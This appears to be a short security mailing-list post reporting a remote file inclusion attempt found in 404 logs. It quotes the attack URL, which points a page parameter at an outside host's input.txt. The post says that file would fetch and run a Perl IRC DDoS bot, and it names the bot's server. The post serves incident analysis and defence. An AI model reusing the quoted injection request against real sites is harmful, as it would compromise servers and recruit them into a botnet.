http://thebesthack.altervista.org/input.txt

An incidents subscriber emailed me stating that they were getting the 
following in there 404 logs:

PHP.asp</activate.php?language=conf&footerpage=http://thebesthack.altervista.org/input.txt?


It appears that an attacker is attempting to exploit a remote file include 
vulnerability. If the attack had been successful and the 
http://thebesthack.altervista.org/input.txt file was processed by the web 
server, it would have attempted to download, run, and then delete a file 
from http://thebesthack.altervista.org/ddos.pl.

ddos.pl is a simple IRC bot written in perl that will connect to 
dos-net.sytes.net:6667 and join #ddos.

Does anyone know the specific vulnerability that this attack is attempting 
to exploit?

-Josh

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